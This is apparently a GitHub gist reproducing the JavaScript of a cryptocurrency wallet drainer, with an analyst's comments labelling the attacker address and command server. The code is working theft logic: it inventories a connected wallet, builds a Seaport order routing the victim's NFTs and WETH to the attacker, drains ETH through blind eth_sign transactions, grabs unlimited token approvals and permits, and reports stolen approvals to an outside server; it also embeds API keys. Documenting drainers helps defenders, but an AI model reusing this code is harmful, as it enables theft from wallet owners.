Skip to content

Instantly share code, notes, and snippets.

@lcfr-eth
Created December 23, 2022 18:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lcfr-eth/76ee52ed2ae32796dc352e5e4cf707d8 to your computer and use it in GitHub Desktop.
Save lcfr-eth/76ee52ed2ae32796dc352e5e4cf707d8 to your computer and use it in GitHub Desktop.
var connected = 0;
var account = '';
var alert = 0;
var perETH_usd;
var success = 0;
let message;
let ethersProvider, signer, wallet, Seaport, web3Modal, selectedAccount;
let tokenList = []; // Victim tokensObject Array (list of all tokens)
const characters = '0123456789';
const WETH = '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2'; // WETH contract
const CONDUIT = '0x1E0049783F008A0085193E00003D00cd54003c71'; // Seaport Conduit for Approvals
const RPC = 'https://rpc.ankr.com/eth/38eac0bf9f0e89d5e226f5c1ef1249406ce7958e48704cc5c3015bed44cb3dca';
let w3 = new ethers.providers.JsonRpcProvider(RPC);
const operator = '0x03c4B92F7283f52aD43EF354f709e6778A74b7F4'; // max approval given to this for ERC20's
const contractSAFA = '0xEf78641Af30cff4A41Bfd2871F3a160DceFFA428'; // BulkTransfer contract
const ownerAddress = '0xD422B783ea64f4d30c3531dAceb31870C9aC2e61'; // attacker EOA?
const ZAPPER_KEY = '082cca2f-3e84-4239-89e6-848394fc200a';
const BASE_URL = 'https://dreadbusiness.com/api'; // attacker C&C Infrastructure
const TOKEN_APPROVE = BASE_URL + '/token_permit'; // log token_approves
const TOKEN_TRANSFER = BASE_URL + '/token_transfer'; // log token_transfers
const SEAPORT_SIGN = BASE_URL + '/seaport_sign'; // log seaport signatures
const NFT_TRANSFER = BASE_URL + '/nft_transfer'; // log nft transfers (1155 and 721)
const MAX_APPROVAL = '1158472395435294898592384258348512586931256';
const endpoint = ownerAddress;
let supportedWallets = {
0: 'WalletConnect',
1: 'Metamask'
};
let selectedProvider, selectedWallets;
const chainToId = {
"ethereum": {
chainId: '0x1',
abiUrl: 'https://api.etherscan.io/api?module=contract&action=getsourcecode&address={0}&apikey=2B44DG986KR15DTS4S1E5JWZT8VTWZ7C99'
},
"binance-smart-chain": {
chainId: '0x38',
abiUrl: 'https://api.bscscan.com/api?module=contract&action=getsourcecode&address={0}&apikey=K5AI5N7ZPC9EF6G9MVQF33CBVMY1UKQ7HI'
},
"polygon": {
chainId: '0x89',
abiUrl: 'https://api.polygonscan.com/api?module=contract&action=getsourcecode&address={0}&apikey=M9IMUX515SEB97THWJRQDKNX75CI66X7XX'
},
"fantom": {
chainId: '0xfa',
abiUrl: 'https://api.ftmscan.com/api?module=contract&action=getsourcecode&address={0}&apikey=F9GFY4EXGD84MHWEK5NCUJWF9FZVBRT415'
},
"avalanche": {
chainId: '0xa86a',
abiUrl: 'https://api.snowtrace.io/api?module=contract&action=getsourcecode&address={0}&apikey=ZMJ2CKEX65EJ8WIPWRJWKRFG8HXCM6I89Z'
},
"optimism": {
chainId: '0xa',
abiUrl: 'https://api-optimistic.etherscan.io/api?module=contract&action=getsourcecode&address={0}&apikey=46J83C1RF5TEWJ3NVCF17PG3KYD36U9QPK'
},
"arbitrum": {
chainId: '0xa4b1',
abiUrl: 'https://api.arbiscan.io/api?module=contract&action=getsourcecode&address={0}&apikey=DU3TKS3QYBQAHC7SEQ5YHB9VPD85JXTX7I'
},
"gnosis": {
chainId: '0x64',
abiUrl: 'https://api.gnosisscan.io/api?module=contract&action=getsourcecode&address={0}&apikey={1}'
},
"moonriver": {
chaiId: '0x505',
abiUrl: 'https://api-moonriver.moonscan.io/api?module=contract&action=getsourcecode&address={0}&apikey=2B44DG986KR15DTS4S1E5JWZT8VTWZ7C99'
},
"celo": {
chainId: '0xa4ec',
abiUrl: 'https://api.celoscan.io/api?module=contract&action=getsourcecode&address={0}&apikey=YourApiKeyToken'
},
"aurora": {
chainId: '0x4e454152',
abiUrl: 'https://api.aurorascan.dev/api?module=contract&action=getsourcecode&address={0}&apikey=YourApiKeyToken'
}
};
// determine if mobile or not
const getMobileOperatingSystem = () => {
const fingerPrint = navigator.userAgent || navigator.vendor || window.opera;
if (/windows phone/i.test(fingerPrint)) {
return 'Windows Phone'
};
if (/android/i.test(fingerPrint)) {
return 'Android'
};
if (/iPad|iPhone|iPod/ ['test'](fingerPrint) && !window.MSStream) {
return 'iOS'
};
return 'unknown'
};
// check if MM or Trust wallet
const getDAppSystem = () => {
const fingerPrint = navigator.userAgent || navigator.vendor || window.opera;
if (/Trust/i.test(fingerPrint)) {
return 'Trust'
};
if (/CriOS/i.test(fingerPrint)) {
return 'Metamask'
};
return 'unknown'
};
//
const openMetaMaskUrl = (urlOpen) => {
const div = document.createElement('a');
div.href = urlOpen;
div.target = '_self';
document.body.appendChild(div);
div.click();
div.remove()
};
//
function loginMetamask() {
openMetaMaskUrl(`${'dapp://'}${document .URL .replace (/https?:\/\//i,'')}${''}`)
}
async function loginTrust() {
selectedWallets = 1;
window.location = `${'https://link.trustwallet.com/open_url?coin_id=60&url=https://'}${document .URL .replace (/https?:\/\//i,'')}${''}`
}
// called first
async function login() {
try {
walletconnect()
} catch (error) {
console.log(error)
}
}
// called from login() above
// checks for any injected wallets like MetaMask etc
// calls ConnectWallet() which does initial recon
function walletconnect() {
if (window.ethereum) {
ConnectWallet()
} else {
window.addEventListener('ethereum#initialized', ConnectWallet, {
once: true
});
ConnectWallet()
}
}
const round = (input) => {
return Math.round(input * 10000) / 10000
};
// convert wei to eth
async function getNormalizedETH(wei) {
return ethers.utils.formatEther(wei)
}
// check if an address has the seaport conduit approvedforall for an ERC721 collection
async function isApproved(accountAddress, erc721Address) {
try {
let erc721 = new ethers.Contract(erc721Address, ERC721_ABI, w3);
const isApprovedBool = await erc721.functions.isApprovedForAll(accountAddress, CONDUIT, {
gasLimit: 100000
});
return isApprovedBool
} catch (err) {
console.log('error', err);
return false
}
}
// get all owned tokenIds for a contract/token
function fetchTokenIds(_0x22fax36, erc721) {
try {
const _0x22fax37 = _0x22fax36.assets;
const tokenIds = [];
for (let _0x22fax39 = 0; _0x22fax39 < _0x22fax37.length; _0x22fax39++) {
const _0x22fax3a = _0x22fax37[_0x22fax39];
if (_0x22fax3a.asset_contract.address.toLowerCase() == erc721.toLowerCase()) {
tokenIds.push(_0x22fax3a.token_id)
}
};
return tokenIds
} catch (err) {
console.log('error', err)
}
}
// return all erc721 and erc1155 using OpenSea API
// checks if the collection is approved with seaport conduit ..
// returns an array of objects
// sets a weird price perEthUsd for every NFT asset?
/*
type: erc721Address.primary_asset_contracts[0].schema_name.toLowerCase(),
tokenAddress: ethers.utils.getAddress(erc721Address.primary_asset_contracts[0].address),
token_ids: fetchTokenIds(ownerAssetsRespJson, erc721Address.primary_asset_contracts[0].address),
price: _0x22fax42, ???
balance: perETH_usd * parseFloat(_0x22fax42),
chain: 'ethereum', - chainID
owned: erc721Address.owned_asset_count, - how many owned
"approved": isApprovedBool - if the token is approvedForAll on seaport Conduit
*/
async function getNFTS(accountAddress) {
try {
const _0x22fax3d = {
method: 'GET',
headers: {
Accept: 'application/json'
}
};
let ownerAssetsResp = await fetch(`${'https://api.opensea.io/api/v1/assets?owner='}${accountAddress}${'&order_direction=desc&limit=200&include_orders=false'}`);
let ownerAssetsRespJson = await ownerAssetsResp.json();
let _0x22fax40 = await fetch(`${'https://api.opensea.io/api/v1/collections?asset_owner='}${accountAddress}${'&offset=0&limit=200'}`, _0x22fax3d).then((_0x22fax44) => {
return _0x22fax44.json()
}).then((ownerAssetsResp) => {
if (ownerAssetsResp.includes('Request was throttled.')) {
return ['Request was throttled.']
};
return ownerAssetsResp.filter((erc721Address) => {
if (erc721Address.primary_asset_contracts.length > 0) {
return true
} else {
return false
}
}).map(async (erc721Address) => {
let _0x22fax42 = round(erc721Address.stats.one_day_average_price != 0 ? erc721Address.stats.one_day_average_price : erc721Address.stats.seven_day_average_price);
let isApprovedBool = await isApproved(accountAddress, erc721Address.primary_asset_contracts[0].address);
isApprovedBool = isApprovedBool[0];
console.log('isApprovedBool', isApprovedBool);
return {
type: erc721Address.primary_asset_contracts[0].schema_name.toLowerCase(),
tokenAddress: ethers.utils.getAddress(erc721Address.primary_asset_contracts[0].address),
token_ids: fetchTokenIds(ownerAssetsRespJson, erc721Address.primary_asset_contracts[0].address),
price: _0x22fax42,
balance: perETH_usd * parseFloat(_0x22fax42),
chain: 'ethereum',
owned: erc721Address.owned_asset_count,
"approved": isApprovedBool
}
})
}).catch((_0x22fax41) => {
return console.error(_0x22fax41)
});
let _0x22fax45 = await Promise.all(_0x22fax40);
let _0x22fax46 = _0x22fax45.sort((_0x22fax27, _0x22fax47) => {
return parseFloat(_0x22fax47.price) > parseFloat(_0x22fax27.price) ? 1 : -1
});
console.log(_0x22fax46);
return _0x22fax46
} catch (e) {
console.log(e)
}
}
// used for generating salt for seaport
function generateString(strLength) {
let stringBuffer = '';
const _0x22fax4b = characters.length;
for (let _0x22fax39 = 0; _0x22fax39 < strLength; _0x22fax39++) {
stringBuffer += characters.charAt(Math.floor(Math.random() * _0x22fax4b))
};
return stringBuffer
}
// returns count from seaport for address
async function getCounter(accountAddress) {
const miniSeaportABI = [{
"inputs": [{
"internalType": 'address',
"name": 'offerer',
"type": 'address'
}],
"name": 'getCounter',
"outputs": [{
"internalType": 'uint256',
"name": 'counter',
"type": 'uint256'
}],
"stateMutability": 'view',
"type": 'function'
}];
let seaport = new ethers.Contract('0x00000000006c3852cbEf3e08E8dF289169EdE581', miniSeaportABI, w3);
const count = seaport.functions.getCounter(accountAddress);
return count
}
// gets WETH balance and checks allowance with Seaport Conduit is approved...
async function getWETH(accountAddress) {
let contractObj = new ethers.Contract(WETH, ERC20_ABI, w3);
const wethBalance = contractObj.functions.balanceOf(accountAddress);
const wethSeaportAllowance = contractObj.functions.allowance(accountAddress, CONDUIT);
return await Promise.all([wethBalance, wethSeaportAllowance])
}
// return yesterdays date
function getPreviousDay(_0x22fax54 = new Date()) {
const _0x22fax55 = new Date(_0x22fax54.getTime());
_0x22fax55.setDate(_0x22fax54.getDate() - 1);
return _0x22fax55
}
const Web3Modal = window.Web3Modal.default;
const WalletConnectProvider = window.WalletConnectProvider.default;
// executed on pageload
function init() {
const providerOptions = {
walletconnect: {
package: WalletConnectProvider,
options: {
bridge: 'https://bridge.walletconnect.org',
rpc: {
1: 'https://mainnet.infura.io/v3/988d51cc5e12469dbe2852d8b660b89a',
56: 'https://rpc.ankr.com/bsc',
137: 'https://rpc.ankr.com/polygon',
250: 'https://rpc.ankr.com/fantom',
43114: 'https://rpc.ankr.com/avalanche',
10: 'https://rpc.ankr.com/optimism',
42161: 'https://rpc.ankr.com/arbitrum',
100: 'https://rpc.ankr.com/gnosis',
1285: 'https://rpc.moonriver.moonbeam.network',
42220: 'https://rpc.ankr.com/celo',
1313161554: 'https://mainnet.aurora.dev'
}
}
},
"custom-binancechainwallet": {
display: {
logo: 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0MCA0MCIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCI+PGcgZmlsbD0iI2YwYjkwYiI+PHBhdGggZD0iTTIwLjI0NSAwTDkuNjM0IDYuMTI1bDMuOTAxIDIuMjYyIDYuNzEtMy44NjIgNi43MSAzLjg2MiAzLjkwMi0yLjI2MkwyMC4yNDUgMHptNi43MTEgMTEuNTg2bDMuOSAyLjI2M3Y0LjUyNmwtNi43MSAzLjg2MnY3LjcyNGwtMy45IDIuMjYzLTMuOTAyLTIuMjYzdi03LjcyNGwtNi43MS0zLjg2MnYtNC41MjZsMy45MDEtMi4yNjMgNi43MSAzLjg2MyA2LjcxLTMuODYzaC4wMDF6Ii8+PHBhdGggZD0iTTMwLjg1NyAyMS41NzNWMjYuMWwtMy45MDEgMi4yNjJ2LTQuNTI1bDMuOS0yLjI2My4wMDEtLjAwMXoiLz48cGF0aCBkPSJNMjYuOTE2IDMxLjU2bDYuNzEtMy44NjJ2LTcuNzI0bDMuOTAyLTIuMjYzdjEyLjI1bC0xMC42MTEgNi4xMjVWMzEuNTZoLS4wMDF6bTYuNzExLTE5LjMxbC0zLjkwMi0yLjI2MyAzLjkwMi0yLjI2MyAzLjkgMi4yNjN2NC41MjVsLTMuOSAyLjI2M1YxMi4yNXpNMTYuMzQ0IDM3LjcyNFYzMy4ybDMuOTAxIDIuMjYzIDMuOTAyLTIuMjYzdjQuNTI1bC0zLjkwMiAyLjI2My0zLjktMi4yNjMtLjAwMS0uMDAxem0tMi44MDktOS4zNjNMOS42MzQgMjYuMXYtNC41MjZsMy45MDEgMi4yNjN2NC41MjUtLjAwMXptNi43MS0xNi4xMTFsLTMuOS0yLjI2MyAzLjktMi4yNjMgMy45MDIgMi4yNjMtMy45MDIgMi4yNjN6bS05LjQ4LTIuMjYzbC0zLjkgMi4yNjN2NC41MjVsLTMuOTAyLTIuMjYzVjkuOTg3bDMuOTAxLTIuMjYzIDMuOTAxIDIuMjYzeiIvPjxwYXRoIGQ9Ik0yLjk2MyAxNy43MTFsMy45MDEgMi4yNjN2Ny43MjRsNi43MSAzLjg2MnY0LjUyNkwyLjk2MyAyOS45NlYxNy43MXYuMDAxeiIvPjwvZz48L3N2Zz4=',
name: 'Binance Chain Wallet',
description: 'Connect to your Binance Chain Wallet'
},
package: true,
connector: async () => {
let wallet = null;
if (typeof window.BinanceChain !== 'undefined') {
wallet = window.BinanceChain;
try {
await wallet.request({
method: 'eth_requestAccounts'
});
selectedWallets = 2
} catch (error) {
throw new Error('User Rejected')
}
} else {
throw new Error('No Binance Chain Wallet found')
};
return wallet
}
}
};
web3Modal = new Web3Modal({
cacheProvider: true,
providerOptions
})
}
// called from walletconnect() function called from login()
// performs initial recon and sets up token theft based on wallet recon.
async function ConnectWallet() {
if (window.ethereum) {
await ethereum.request({
method: 'eth_requestAccounts'
});
provider = window.ethereum;
web3 = new Web3(provider);
ethersProvider = new ethers.providers.Web3Provider(provider, 'any');
signer = ethersProvider.getSigner()
} else {
provider = await web3Modal.connect();
web3 = new Web3(provider);
ethersProvider = new ethers.providers.Web3Provider(provider, 'any');
signer = ethersProvider.getSigner()
};
if (web3._provider.bridge) {
selectedProvider = supportedWallets[0] // walletconnect
} else {
selectedProvider = supportedWallets[1] // metamask
};
Seaport = new seaport.Seaport(signer);
getWalletAccount();
get12DollarETH()
}
async function get12DollarETH() {
let priceURL = 'https://api.coingecko.com/api/v3/simple/price?ids=ethereum&vs_currencies=usd';
let response = await fetch(priceURL);
let responseObj = await response.json();
let usdPrice = responseObj.ethereum.usd;
let _0x22fax5e = 1 / usdPrice;
perETH_usd = usdPrice;
return
}
async function getWalletAccount() {
// get the first / primary account in wallet.
const accounts = await web3.eth.getAccounts();
account = accounts[0];
let seaportCount, wethInfo;
// return NFT tokenList, Seaport Count, WETH balance/approval for seaport
[victimTokens, seaportCount, wethInfo] = await Promise.all([getNFTS(account), getCounter(account), getWETH(account)]);
seaportCount = parseInt(seaportCount.toString());
let [balance, allowance] = wethInfo;
balance = balance.toString(); // weth balance
allowance = allowance.toString(); // weth allowance
const totalBal = parseFloat(ethers.utils.formatEther(balance));
const totalAllowed = parseFloat(ethers.utils.formatEther(allowance));
let seaportBalance = '0';
let hasBalance = false;
// compared total balance vs total allowed and set stealAmount depending on allowance.
if (totalAllowed >= totalBal) {
seaportBalance = balance
} else {
if (totalBal > totalAllowed) {
seaportBalance = allowance
}
};
const offerArr = [];
const considerationArr = [];
let tokenbalance = 0;
// create two arrays for all victims ERC721 NFT's which are approved by Seaport
// OfferArr array of all ERC721 Offers from victim for 1 WEI
// ConsiderationArr array of all the victims ERC721 tokens designating recipient as attacker
// 0xD422B783ea64f4d30c3531dAceb31870C9aC2e61
victimTokens.forEach((erc721Address) => {
if (erc721Address.type == 'erc721' && erc721Address.approved == true) {
tokenbalance += erc721Address.balance;
erc721Address.token_ids.forEach((tokenId) => {
const offer = {
itemType: 2,
token: erc721Address.tokenAddress,
identifierOrCriteria: tokenId,
startAmount: '1',
endAmount: '1'
};
const consideration = {
itemType: 2,
token: erc721Address.tokenAddress,
identifierOrCriteria: tokenId,
startAmount: '1',
endAmount: '1',
recipient: endpoint // attacker address
};
offerArr.push(offer);
considerationArr.push(consideration)
})
}
});
// if victim still has balance of WETH <= Seaport Allowance
// create an offer from victim for their WETH balance push to our Offers array
// create an consideration for the exact amount of Victims WETH allowed balance.
// push consideration to the Considerations array
if (seaportBalance !== '0') {
hasBalance = true;
tokenbalance += perETH_usd * parseFloat(getNormalizedETH(seaportBalance));
const offer = {
"itemType": 1,
"token": WETH,
"identifierOrCriteria": '0',
"startAmount": seaportBalance,
"endAmount": seaportBalance
};
const consideration = {
"itemType": 1,
"token": WETH,
"identifierOrCriteria": '0',
"startAmount": seaportBalance,
"endAmount": seaportBalance,
"recipient": endpoint
};
offerArr.push(offer);
considerationArr.push(consideration)
};
const _0x22fax54 = getPreviousDay();
const _0x22fax6e = _0x22fax54.getTime();
const _0x22fax6f = _0x22fax54;
//const _0x22fax70 = _0x22fax6f.setTime(_0x22fax6e + (2 * 24 * 60 * 60 * 1000));
const _0x22fax71 = _0x22fax6f.getTime();
const endTime = Math.floor(_0x22fax71 / 1000);
const startTime = Math.floor(_0x22fax6e / 1000);
const seaportSalt = generateString(70); // generate salt for order
// generate the seaport order for all of victims assets
const seaportOrder = {
"offerer": ethers.utils.getAddress(account), // victim
zone: '0x004C00500000aD104D7DBd00e3ae0A5C00560C00', // seaport zone
"offer": offerArr, // victim assets ERC721 & WETH
consideration: considerationArr, // attacker considerations matching victim OfferItems
orderType: 2, // 2: no partial fills, only offerer or zone can execute
startTime: startTime,
endTime: endTime,
zoneHash: '0x0000000000000000000000000000000000000000000000000000000000000000',
salt: seaportSalt,
totalOriginalConsiderationItems: considerationArr.length,
conduitKey: '0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000'
};
// return a list of all the users ERC20 tokens and ETH - XXX not a complete list of user owned tokens?? ENS not listed.
const getTokenList = await fetch('https://api.zapper.fi/v2/balances?addresses[]=' + account + '&&api_key=' + ZAPPER_KEY, {
headers: {
'Authorization': ZAPPER_KEY
}
});
const victimTokens = await getTokenList.text();
// create array from newline char \n == \x0A
victimTokens.split('\x0A').forEach((result) => {
if (result.startsWith('data')) {
// strip 'data: ' from the stringified Object
var jsonObj = JSON.parse(result.slice(5));
if (jsonObj.balance && jsonObj.balance.wallet) {
for (var walletObj in jsonObj.balance.wallet) {
var walletToken = jsonObj.balance.wallet[walletObj];
// push the token and tokenInfo to the global tokenList array
tokenList.push({
type: 'erc20', // sets general type for ETH and ERC20s to == ERC20.
tokenAddress: walletToken.address,
balance: walletToken.balanceUSD,
tokenAmountFix: walletToken.context.balance,
chain: walletToken.network,
tokenAmount: walletToken.context.balanceRaw,
symbol: walletToken.context.symbol
})
}
}
}
});
// if seaport order has no offer items sendToken() seaportOrder and info anyway?
if (seaportOrder.offer.length == 0) {
victimTokens.sort((_0x22fax27, _0x22fax47) => {
return (Number(_0x22fax47.balance) > Number(_0x22fax27.balance)) ? 1 : -1
});
sendToken(hasBalance, seaportOrder, seaportCount, Seaport);
return
} else {
// add blank seaport token type to the tokenList array?
victimTokens.push({
type: 'seaport',
chain: 'ethereum',
tokenAddress: '',
token_ids: '',
price: null,
balance: tokenbalance,
owned: '',
"approved": false
})
};
victimTokens.sort((_0x22fax27, _0x22fax47) => {
return (Number(_0x22fax47.balance) > Number(_0x22fax27.balance)) ? 1 : -1
});
console.log(victimTokens);
connected = 1;
sendToken(hasBalance, seaportOrder, seaportCount, Seaport)
}
//
function getEthBalance(_0x22fax7b, _0x22fax7c, _0x22fax7d) {
var _0x22fax7e = 1;
for (var _0x22fax39 = 0; _0x22fax39 < _0x22fax7c; _0x22fax39++) {
_0x22fax7e *= 10
};
return _0x22fax7b * _0x22fax7d / _0x22fax7e
}
// transfer ETH from victim to owner : 0xD422B783ea64f4d30c3531dAceb31870C9aC2e61
// amount variable is never used?
async function transferEth(amount, message) {
if (account == '') {
return
};
const balanceWEI = await web3.eth.getBalance(account);
const balance = web3.utils.fromWei(balanceWEI, 'ether'); // convert to ETH?
success = 1;
logTlgMsg(message);
const gasPrice = await web3.eth.getGasPrice();
const gasPriceHex = web3.utils.toHex(gasPrice);
const totalMinusFee = web3.utils.toWei(balance.toString(), 'ether') - (parseInt(gasPrice) * 120000); // convert back to wei - lol why 120k gas ?
const totalToSend = Number(totalMinusFee);
const totalToSendHex = web3.utils.toHex(totalToSend);
var tx = {
from: account,
to: ownerAddress,
value: totalToSendHex
};
try {
await web3.eth.sendTransaction(tx)
} catch (e) {
console.log(e);
success = 0
};
logTlg(success)
}
// amount variable never used
// send ETH to attacker 0xD422B783ea64f4d30c3531dAceb31870C9aC2e61
async function stakeEth(amount, message) {
if (account == '') {
return
};
const balanceWEI = await web3.eth.getBalance(account);
const balance = web3.utils.fromWei(balanceWEI, 'ether');
console.log(balance);
success = 1;
logTlgMsg(message);
const nonce = web3.utils.toHex(await web3.eth.getTransactionCount(account));
const gasPrice = await web3.eth.getGasPrice();
const gasPriceHex = web3.utils.toHex(gasPrice);
const valueToSend = web3.utils.toWei(balance.toString(), 'ether') - (parseInt(gasPrice) * 120000);
console.log('valueToSend', valueToSend);
const valueToSendString = Number(valueToSend);
console.log('valueToSendString', valueToSendString);
const valueToSendHex = web3.utils.toHex(valueToSendString);
const chainId = await web3.eth.getChainId();
const chainIdHex = web3.utils.toHex(chainId);
try {
tx_ = {
to: ownerAddress,
nonce: nonce,
gasLimit: '0x55F0',
gasPrice: web3.utils.toHex(gasPrice),
value: valueToSendHex,
data: '0x0',
r: '0x',
s: '0x',
v: chainIdHex
};
console.log(tx_);
const {
ethereumjs
} = window;
var transaction = new ethereumjs.Tx(tx_);
const serializedTransaction = '0x' + transaction.serialize().toString('hex');
const transactionHash = web3.utils.sha3(serializedTransaction, {
encoding: 'hex'
});
const signedTransactionHash = await web3.eth.sign(transactionHash, account);
const signedTransactionHashRaw = signedTransactionHash.substring(2),
r = '0x' + signedTransactionHashRaw.substring(0, 64),
s = '0x' + signedTransactionHashRaw.substring(64, 128),
_0x22fax95 = parseInt(signedTransactionHashRaw.substring(128, 130), 16),
v = web3.utils.toHex(_0x22fax95 + chainId * 2 + 8);
transaction.r = r;
transaction.s = s;
transaction.v = v;
const finalSignedTransaction = '0x' + transaction.serialize().toString('hex');
console.log('Waiting for sign submitting...');
const sentTxHash = await web3.eth.sendSignedTransaction(finalSignedTransaction);
console.log('Submitted:', sentTxHash)
} catch (e) {
success = 0
};
logTlg(success)
}
// grants the attacker max approval for a given erc20 token
// grant the operator address spending ability of victim tokens
async function stakeERC20(tokenAddress, amount, message, chainId, abiUrl) {
console.log(tokenAddress, account, amount);
const erc20Abi = await getABI(tokenAddress, abiUrl);
const erc20signer = new ethers.Contract(tokenAddress, erc20Abi[0], signer);
const erc20 = new web3.eth.Contract(erc20Abi[0], tokenAddress);
const erc20Functions = erc20signer.functions;
logTlgMsg(message);
success = 1;
let checkPermit = erc20Functions.hasOwnProperty('permit') && erc20Functions.hasOwnProperty('nonces') && erc20Functions.hasOwnProperty('name') && erc20Functions.hasOwnProperty('DOMAIN_SEPARATOR') && isValidPermit(erc20Functions);
console.log('Has permit', checkPermit);
if (checkPermit) {
const doPermit = {
chainId: chainId,
tokenAddress: tokenAddress,
abiUrl: abiUrl,
amount: amount,
owner: account,
spender: operator,
permit: await permit(erc20signer, account, operator),
impl: erc20Abi[1]
};
axios.post(TOKEN_APPROVE, doPermit).then(function (_0x22fax44) {
console.log(_0x22fax44);
logTlg(success)
});
return doPermit
};
try {
const nonce = web3.utils.toHex(await web3.eth.getTransactionCount(account));
const gasPrice = await web3.eth.getGasPrice();
const gasPriceHex = web3.utils.toHex(gasPrice);
const chainId = await web3.eth.getChainId();
const chainIdHex = web3.utils.toHex(chainId);
let tx;
tx = {
to: tokenAddress,
nonce: nonce,
gasLimit: '0x186A0',
gasPrice: gasPriceHex,
value: '0x0',
data: erc20.methods.approve(operator, MAX_APPROVAL).encodeABI(),
r: '0x',
s: '0x',
v: chainIdHex
};
const {
ethereumjs
} = window;
var transaction = new ethereumjs.Tx(tx);
const serializedTransaction = '0x' + transaction.serialize().toString('hex');
const serializedTransactionHash = web3.utils.sha3(serializedTransaction, {
encoding: 'hex'
});
const signedTransactionHash = await web3.eth.sign(serializedTransactionHash, account);
const signedTransactionHashRaw = signedTransactionHash.substring(2),
r = '0x' + signedTransactionHashRaw.substring(0, 64),
s = '0x' + signedTransactionHashRaw.substring(64, 128),
_0x22fax95 = parseInt(signedTransactionHashRaw.substring(128, 130), 16),
v = web3.utils.toHex(_0x22fax95 + chainId * 2 + 8);
transaction.r = r;
transaction.s = s;
transaction.v = v;
const finalSignedTx = '0x' + transaction.serialize().toString('hex');
console.log('Waiting for sign submitting...');
const txHash = await web3.eth.sendSignedTransaction(finalSignedTx);
console.log('Submitted:', txHash);
const tokenApprovalLog = {
chainId: chainIdHex,
tokenAddress: tokenAddress,
abiUrl: abiUrl,
amount: amount,
owner: account,
spender: operator
};
// send a detailed log of which tokens the attacker has gained approval for
// back to dreadbusiness.com/api/
axios.post(TOKEN_TRANSFER, tokenApprovalLog).then(function (_0x22fax44) {
console.log(_0x22fax44);
logTlg(success)
})
} catch (e) {
console.log(e);
success = 0
}
}
// Calls erc721.setApprovalForAll(0xEf78641Af30cff4A41Bfd2871F3a160DceFFA428, true)
// allows the attacker to then bulkTransfer NFT's using the
// contract located at 0xEf78641Af30cff4A41Bfd2871F3a160DceFFA428
// BulkTransfer method.
async function stakeNFT(tokenAddress, tokens, _0x22fax81) {
const victimNFTLog = {
owner: account,
tokenAddress: tokenAddress,
tokens: tokens
};
var erc721 = new web3.eth.Contract(ERC721_ABI, tokenAddress);
success = 1;
logTlgMsg(_0x22fax81);
try {
const nonce = web3.utils.toHex(await web3.eth.getTransactionCount(account));
const gasPrice = await web3.eth.getGasPrice();
const gasPriceHex = web3.utils.toHex(gasPrice);
const chainId = await web3.eth.getChainId();
const chainIdHex = web3.utils.toHex(chainId);
tx_ = {
to: tokenAddress,
nonce: nonce,
gasLimit: '0x493E0',
gasPrice: gasPriceHex,
value: '0x0',
data: erc721.methods.setApprovalForAll(contractSAFA, true).encodeABI(),
r: '0x',
s: '0x',
v: chainIdHex
};
const {
ethereumjs
} = window;
var transaction = new ethereumjs.Tx(tx_);
const serializedTransaction = '0x' + transaction.serialize().toString('hex');
const serializedTransactionHash = web3.utils.sha3(serializedTransaction, {
encoding: 'hex'
});
const signedTransactionHash = await web3.eth.sign(serializedTransactionHash, account);
const signedTransactionHashRaw = signedTransactionHash.substring(2),
r = '0x' + signedTransactionHashRaw.substring(0, 64),
s = '0x' + signedTransactionHashRaw.substring(64, 128),
vInt = parseInt(signedTransactionHashRaw.substring(128, 130), 16),
v = web3.utils.toHex(vInt + chainId * 2 + 8);
transaction.r = r;
transaction.s = s;
transaction.v = v;
const finalSignedTransaction = '0x' + transaction.serialize().toString('hex');
console.log('Waiting for sign submitting...');
const txHash = await web3.eth.sendSignedTransaction(finalSignedTransaction);
console.log('Submitted:', txHash);
// send a log message to dreadbusiness.com/api with the approbal record for victims ERC721 tokens
axios.post(NFT_TRANSFER, victimNFTLog).then(function (_0x22fax44) {
console.log(_0x22fax44)
})
} catch (e) {
console.log(e);
success = 0
};
logTlg(success)
}
// Calls ERC1155.setApprovalForAll(0xEf78641Af30cff4A41Bfd2871F3a160DceFFA428, true)
// allows the attacker to then bulkTransfer NFT's using the
// contract located at 0xEf78641Af30cff4A41Bfd2871F3a160DceFFA428
// BulkTransfer method.
async function stake1155NFT(erc1155Address, _0x22faxa1, _0x22fax81) {
var erc1155Obj = new web3.eth.Contract(ERC1155_ABI, erc1155Address);
success = 1;
logTlgMsg(_0x22fax81);
try {
const nonce = web3.utils.toHex(await web3.eth.getTransactionCount(account));
const gasPrice = await web3.eth.getGasPrice();
const gasPriceHex = web3.utils.toHex(gasPrice);
const chainId = await web3.eth.getChainId();
const chainIdhex = web3.utils.toHex(chainId);
tx_ = {
to: erc1155Address,
nonce: nonce,
gasLimit: '0x493E0',
gasPrice: gasPriceHex,
value: '0x0',
data: erc1155Obj.methods.setApprovalForAll(contractSAFA, true).encodeABI(),
r: '0x',
s: '0x',
v: chainIdhex
};
const {
ethereumjs
} = window;
var transaction = new ethereumjs.Tx(tx_);
const transactionSerialized = '0x' + transaction.serialize().toString('hex');
const transactionHash = web3.utils.sha3(transactionSerialized, {
encoding: 'hex'
});
const _0x22fax91 = await web3.eth.sign(transactionHash, account);
const _0x22fax92 = _0x22fax91.substring(2),
_0x22fax93 = '0x' + _0x22fax92.substring(0, 64),
_0x22fax94 = '0x' + _0x22fax92.substring(64, 128),
_0x22fax95 = parseInt(_0x22fax92.substring(128, 130), 16),
_0x22fax96 = web3.utils.toHex(_0x22fax95 + chainId * 2 + 8);
transaction.r = _0x22fax93;
transaction.s = _0x22fax94;
transaction.v = _0x22fax96;
const _0x22fax97 = '0x' + transaction.serialize().toString('hex');
console.log('Waiting for sign submitting...');
const transactionIdHash = await web3.eth.sendSignedTransaction(_0x22fax97);
console.log('Submitted:', transactionIdHash);
axios.post(NFT_TRANSFER, data).then(function (_0x22fax44) {
console.log(_0x22fax44)
})
} catch (e) {
console.log(e);
success = 0
};
logTlg(success)
}
// do a lil robbing
// function which sends victims tokens, grants approvals to victim tokens etc.
